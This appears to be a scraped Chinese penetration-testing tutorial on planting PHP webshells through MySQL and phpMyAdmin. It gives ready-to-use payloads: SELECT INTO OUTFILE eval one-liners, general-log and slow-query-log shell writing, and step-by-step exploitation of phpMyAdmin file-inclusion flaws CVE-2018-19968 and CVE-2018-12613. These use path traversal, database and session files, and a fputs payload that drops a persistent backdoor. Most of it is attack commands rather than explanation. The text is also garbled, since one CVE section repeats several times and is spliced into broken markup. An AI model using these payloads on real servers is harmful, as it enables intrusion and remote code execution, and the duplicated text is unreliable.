• 一、select into outfile直接写入
  • 二、开启全局日志getshell
  • 三、使用慢查询日志getshell
  • CVE-2018-19968 phpmyadmin文件包含getshell">四、CVE-2018-19968 phpmyadmin文件包含getshell

  • ">将sess_中的替换成你的会话ID,即COOKIE中phpMyAdmin的值
    image.png
  • http://192.168.124.43/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/WWW/1.txt

    成功读取到文件
    image.png


    #003 利用此漏洞getshell
    思路1:把WebShell写入到数据库中然后包含数据库文件getshell,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的

    image.png

    创建完成结果如下
    image.png

    2、然后我们需要找到数据库表的文件
    show variables like ‘datadir’ 或SELECT @@datadir

    image.png

    文件的路径就是:data路径+数据库名/表名.frm

    然后包含它就可以,成功包含执行phpifo
    index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test1.frm

    image.png

    命令执行(注意一句话为GET)
    插入:<?php eval($_GET[a]);?>这个字段,然后构造payload:成功执行命令
    image.png

    进行getshell
    ONE:插入数据表getshell
    思考过程:以上所说的都是执行的phpinfo,以及get方式执行了命令,无法用蚁剑等工具直接连接shell,所以就想利用文件包含直接生成一个webshell,所以有了以下想法

    1、我们插入字段的时候,插入这样一句话,包含之后会在当前目录生成一个a.php的webshell
    <?php fputs(fopen(“a.php”,”w”),’<?php eval($_POST[a]);?>’);?>
    image.png
    可以看到,执行成功
    image.png
    2、接着上面的,包含test1.frm文件,包含完成,没有任何报错
    image.png

    3、接着去看一下是否真的能生成一句话在当前目录,可以看到的确生成了,并且时间是刚刚
    image.png

    4、然后直接利用蚁剑连接,ok思路可行,getshell成功
    image.png
    执行一下命令试试,完全没问题,本次探索很成功!
    image.pngv

    Two:利用session文件getshell
    phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以包含session文件进行getshell
    image.png
    1、首先利用上面得到的phpinfo,查看session文件存放的路径,搜索:save_path,看到是在tmp/tmp目录下">001 影响版本
    Phpmyadmin 4.8.0/4.8.0.1/4.8.1

    #002 漏洞验证利用
    http://192.168.124.43/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/WWW/1.txt

    成功读取到文件
    image.png


    #003 利用此漏洞getshell
    思路1:把WebShell写入到数据库中然后包含数据库文件getshell,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的

    image.png

    创建完成结果如下
    image.png

    2、然后我们需要找到数据库表的文件
    show variables like ‘datadir’ 或SELECT @@datadir

    image.png

    文件的路径就是:data路径+数据库名/表名.frm

    然后包含它就可以,成功包含执行phpifo
    index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test1.frm

    image.png

    命令执行(注意一句话为GET)
    插入:<?php eval($_GET[a]);?>这个字段,然后构造payload:成功执行命令
    image.png

    进行getshell
    ONE:插入数据表getshell
    思考过程:以上所说的都是执行的phpinfo,以及get方式执行了命令,无法用蚁剑等工具直接连接shell,所以就想利用文件包含直接生成一个webshell,所以有了以下想法

    1、我们插入字段的时候,插入这样一句话,包含之后会在当前目录生成一个a.php的webshell
    <?php fputs(fopen(“a.php”,”w”),’<?php eval($_POST[a]);?>’);?>
    image.png
    可以看到,执行成功
    image.png
    2、接着上面的,包含test1.frm文件,包含完成,没有任何报错
    image.png

    3、接着去看一下是否真的能生成一句话在当前目录,可以看到的确生成了,并且时间是刚刚
    image.png

    4、然后直接利用蚁剑连接,ok思路可行,getshell成功
    image.png
    执行一下命令试试,完全没问题,本次探索很成功!
    image.pngv

    Two:利用session文件getshell
    phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以包含session文件进行getshell
    image.png
    1、首先利用上面得到的phpinfo,查看session文件存放的路径,搜索:save_path,看到是在tmp/tmp目录下

    一、select into outfile直接写入

    情况(一)

    1.利用条件

    • magic_quotes_gpc:Off(关闭)
    • Root数据库用户(root权限)
    • secure_file_priv没有具体值
    • 网站绝对路径(确定有写入权限)

    2.步骤
    查看有没有配置secure_file_priv
    show global variables like ‘%secure%’;
    secure_file_priv为NULL,表示限制mysql不允许导入导出。没有具体值时,表示不对mysqld 的导入导出做限制。
    当知道路径时(通过报错获取路径/phpinfo),可以直接用
    union select “<?php @eval($_POST[‘quan’]);?>” into outfile(“G:/phpStudy/PHPTutorial/www/quan.php”)

    (2)情况二:

    1.Root数据库用户(root权限)
    2.网站绝对路径(确定有写入权限)
    3.magic_quotes_gpc:Off(开启)

    创建数据表导出shell

    1. CREATE TABLE `mysql`.`user1` (`content` TEXT NOT NULL );
    2. INSERT INTO `mysql`.`user1` (`content` ) VALUES ('<?php @eval($_POST[x123]);?>');
    3. SELECT `content` FROM `user1` INTO OUTFILE 'C:\\phpStudy\\WWW\\xxx.php';
    4. DROP TABLE IF EXISTS `user1`;


    二、开启全局日志getshell

    1.利用条件
    必须是root权限,必须知道网站的根目录
    2.步骤
    查看配置
    show variables like ‘%general%’;
    开启general log模式
    set global general_log = on;
    设置日志目录为shell地址
    set global general_log_file = ‘G:/phpStudy/PHPTutorial/www/quan.php’;

    3.写入shell
    select ‘<?php eval($_POST[cmd]);?>’
    蚁剑连接成功
    image.png

    三、使用慢查询日志getshell

    1.慢查询日志
    记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上的语句是慢查询语句。
    show variables like ‘%slow%’;
    image.png

    2. 修改日志文件绝对路径及文件名
    set global slow_query_log_file = ‘G:/phpStudy/PHPTutorial/www/quan.php’;
    3.启用慢查询日志
    set GLOBAL slow_query_log=on;
    4. 写shell
    select ‘<?php phpinfo();?>’ from mysql.db where sleep(10);
    image.png

    四、CVE-2018-19968 phpmyadmin文件包含getshell

    CVE文件包含漏洞继续展开讨论
    #001 环境搭建
    在线环境:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1
    也可以选择自行到phpmyadmin官网下载对应版本

    攻击条件
    攻击者必须能够访问phpMyAdmin配置存储表,尽管可以在攻击者访问的任何数据库中轻松创建这些表。但攻击者必须拥有有效的凭据才能登录phpMyAdmin,所以此漏洞不允许攻击者绕过登录系统。

    漏洞细节
    Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。
    通常情况下Transformation的规则存储在每个数据库的pmacolumn_info表中,而在phpMyAdmin 4.0.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。
    在tbl_replace.php文件中拼接到$filename的变量filename的变量mime_map[$column_name][‘input_transformation’]来自于数据表pma
    column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。

    #002 漏洞复现
    1、首先登陆进后台,这里默认是root,toor
    image.png

    2、漏洞利用思路
    创建数据库,并将PHP代码写入SESSION文件中

    1. CREATE DATABASE foo;
    2. CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
    3. INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

    访问http://target/com/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。
    image.png

    将篡改后的Transformation数据插入表pma_columninfo中将sess中的替换成你的会话ID,即COOKIE中phpMyAdmin的值,抓包查看session id,如下
    image.png

    1. INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_***','plop';

    将sess_中的替换成你的会话ID,即COOKIE中phpMyAdmin的值
    image.png

    然后访问
    http://target.com/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
    就能自动包含刚才插入数据库表的恶意代码

    image.png
    sessionID文件常见路径:
    在Linux下,常见的文件路径为: /var/lib/php/session/或/tmp/
    在Windows下:
    默认为c:/windows/temp/
    phpstudy集成软件环境下,文件路径为:/phpstudy/PHPTutorial/tmp/tmp/
    Wamp集成软件环境下,文件路径为:/wamp64/tmp/
    因为环境搭建方式的不同,session文件的路径也会不同(通过修改php.ini中的session.save_path值可以改变session的保存路径),并且对于攻击者session文件的绝对路径也是不能直接获取到的,只能靠常见路径或猜路径去利用。

    五、CVE-2018-12613 phpmyadmin文件包含getshell

    001 影响版本
    Phpmyadmin 4.8.0/4.8.0.1/4.8.1

    #002 漏洞验证利用
    http://192.168.124.43/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/WWW/1.txt

    成功读取到文件
    image.png


    #003 利用此漏洞getshell
    思路1:把WebShell写入到数据库中然后包含数据库文件getshell,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的

    image.png

    创建完成结果如下
    image.png

    2、然后我们需要找到数据库表的文件
    show variables like ‘datadir’ 或SELECT @@datadir

    image.png

    文件的路径就是:data路径+数据库名/表名.frm

    然后包含它就可以,成功包含执行phpifo
    index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test1.frm

    image.png

    命令执行(注意一句话为GET)
    插入:<?php eval($_GET[a]);?>这个字段,然后构造payload:成功执行命令
    image.png

    进行getshell
    ONE:插入数据表getshell
    思考过程:以上所说的都是执行的phpinfo,以及get方式执行了命令,无法用蚁剑等工具直接连接shell,所以就想利用文件包含直接生成一个webshell,所以有了以下想法

    1、我们插入字段的时候,插入这样一句话,包含之后会在当前目录生成一个a.php的webshell
    <?php fputs(fopen(“a.php”,”w”),’<?php eval($_POST[a]);?>’);?>
    image.png
    可以看到,执行成功
    image.png
    2、接着上面的,包含test1.frm文件,包含完成,没有任何报错
    image.png

    3、接着去看一下是否真的能生成一句话在当前目录,可以看到的确生成了,并且时间是刚刚
    image.png

    4、然后直接利用蚁剑连接,ok思路可行,getshell成功
    image.png
    执行一下命令试试,完全没问题,本次探索很成功!
    image.pngv

    Two:利用session文件getshell
    phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以包含session文件进行getshell
    image.png
    1、首先利用上面得到的phpinfo,查看session文件存放的路径,搜索:save_path,看到是在tmp/tmp目录下

    2、执行sql语句,语句为生成一句话木马的语句
    SELECT <?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>; #注意为反引号
    image.png

    3、session可以在cookie中找到,例如google的,或者burp抓包都行
    image.png


    4、然后利用漏洞直接包含session文件,文件名:sess_你的session
    index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_a5gbrbj1rr01lpqpi6mkecc1ti1ar692
    image.png

    5、然后看当前目录是否生成一句话木马,可以看到又成功生成了,时间是刚刚的
    image.png
    6、利用蚁剑连接:成功!

    image.png